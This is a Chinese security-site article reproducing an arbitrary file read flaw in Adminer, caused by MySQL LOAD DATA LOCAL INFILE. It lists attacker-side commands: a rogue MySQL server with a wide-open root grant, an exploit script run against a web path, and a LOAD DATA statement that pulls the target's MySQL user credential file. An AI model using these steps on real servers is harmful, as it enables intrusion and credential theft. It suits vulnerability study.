1. 极安网首页
  2. 网络安全技术

Adminer任意文件读取漏洞

软件简介

官方网站:https://www.adminer.org/

Adminer是一款轻量级的Web端数据库管理工具,支持MSSQL、MSSQL、Oracle、SQLite、PostgreSQL等众多主流数据库,类似于phpMyAdmin的MySQL管理客户端,整个程序只有一个PHP文件,易于使用安装,支持连接远程数据库。

漏洞原理

Adminer任意文件读取漏洞其实来源于MySQL“LOAD DATA INFILE”安全问题,Adminer4.6.3版本中已经修复了LOAD DATA LOCAL INFILE问题。

漏洞复现

将我们攻击机的MySQL开启外链,然后执行EXP去读取一个不存在的文件让其报错得到绝对路径,最后再去读取数据库配置等指定文件即可,这里我随便读取的一个文件用于测试。

  1. grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option;
  2. grant all privileges on *.* to 'root'@'%';    //MySQL8开启外链

Adminer任意文件读取漏洞-极安网

Adminer连接攻击机MySQL数据库时的用户名、密码及数据库名可以随意输入,只要服务器IP对即可。

  1. root@kali:/tmp# python mysql_client.py "D:\phpStudy\PHPTutorial\WWW\av\1.php"

Adminer任意文件读取漏洞-极安网

也可以在我们攻击机的MySQL创建一个新的数据库和表,然后在Adminer填入攻击机的MySQL服务器IP、用户名、密码和刚创建的数据库名。

  1. create database adminer;                //创建adminer数据库
  2. use adminer;                            //进入adminer数据库
  3. create table test(text text(4096));     //创建test数据表

执行以下SQL语句即可读取指定文件并将读取到的文件内容写入到刚创建的数据表里,不过得注意一下目标机的secure_file_priv选项,当它的值为null时就会读取不了文件了。

  1. load data local infile "D:\\phpStudy\\PHPTutorial\\MySQL\\data\\mysql\\user.MYD" into table test FIELDS TERMINATED BY '\n';
  1. select * from test;        //查看test表内容
  2. truncate table test;       //清空test表内容
  3. drop database adminer;     //删除adminer数据库

Adminer任意文件读取漏洞-极安网

原创文章,作者: Admin ,转载请注明出处:https://secvery.com/2559.html